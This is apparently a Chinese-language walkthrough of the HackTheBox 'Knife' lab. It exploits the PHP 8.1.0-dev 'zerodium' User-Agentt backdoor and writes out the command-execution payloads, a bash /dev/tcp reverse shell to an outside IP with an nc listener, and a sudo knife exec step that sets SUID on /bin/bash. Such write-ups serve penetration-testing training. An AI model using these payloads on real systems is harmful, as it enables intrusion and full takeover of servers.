HackTheBox-Knife靶场实战
靶场信息
信息搜集
首先使用nmap进行端口扫描
我们得知开启了22和80端口
出于能不爆破就不爆破的原则,先访问80端口看一下
80端口上的内容有点不明所以。
在完全没思路的情况下,尝试使用dirbuster工具进行了目录爆破,但四十分钟过去了却没有一丁点收获,连robots.txt页面也不存在。
我的思路就卡在这里了,一时之间不知道应该怎么做,就去泡了杯茶,突然来了灵感,要不先抓个包看看?
乍一看似乎没有什么值得关注的东西,但在通宵日靶场导致神志不清又经过了茶叶洗礼的脑瓜子的引导下,我注意到了一个点。
X-Powered-By: PHP/8.1.0-dev
这东西,隐约之间觉得不简单,便去百度进行了搜索。搜索的同时尝试了nikto工具,也提示了这一条
就是这两个提示,让我确信突破口在这,然后经过大量的google和百度搜索后,找到了一丝思路。
PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。
漏洞利用
使用burp抓包,并加入字段
User-Agentt: zerodiumvar_dump(2*3);
发现被成功执行
接着尝试命令是否可被解析执行
User-Agentt: zerodiumsystem("id");
Nice 命令可被执行,那就简单了,可以执行命令,那就尝试getshell吧
本地监听:
Nc –nvlp 9001
执行命令:
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.240/9001 0>&1'");
成功通过nc获得了一个shell
首先确定是否有python
Which python3
确定python3存在,使用python3获得一个更加稳定的shell程序
python3 -c 'import pty; pty.spawn("/bin/bash")'
成功获得普通用户的flag
漏洞提权
先确定knife用户的sudo权限
Sudo –l
Ls –al /usr/bin/knife
进行提权
echo "system('chmod +s /bin/bash')" > exploit.rb
ls
sudo /usr/bin/knife exec exploit.rb
ls -al /bin/bash
/bin/bash –p
获得root用户的flag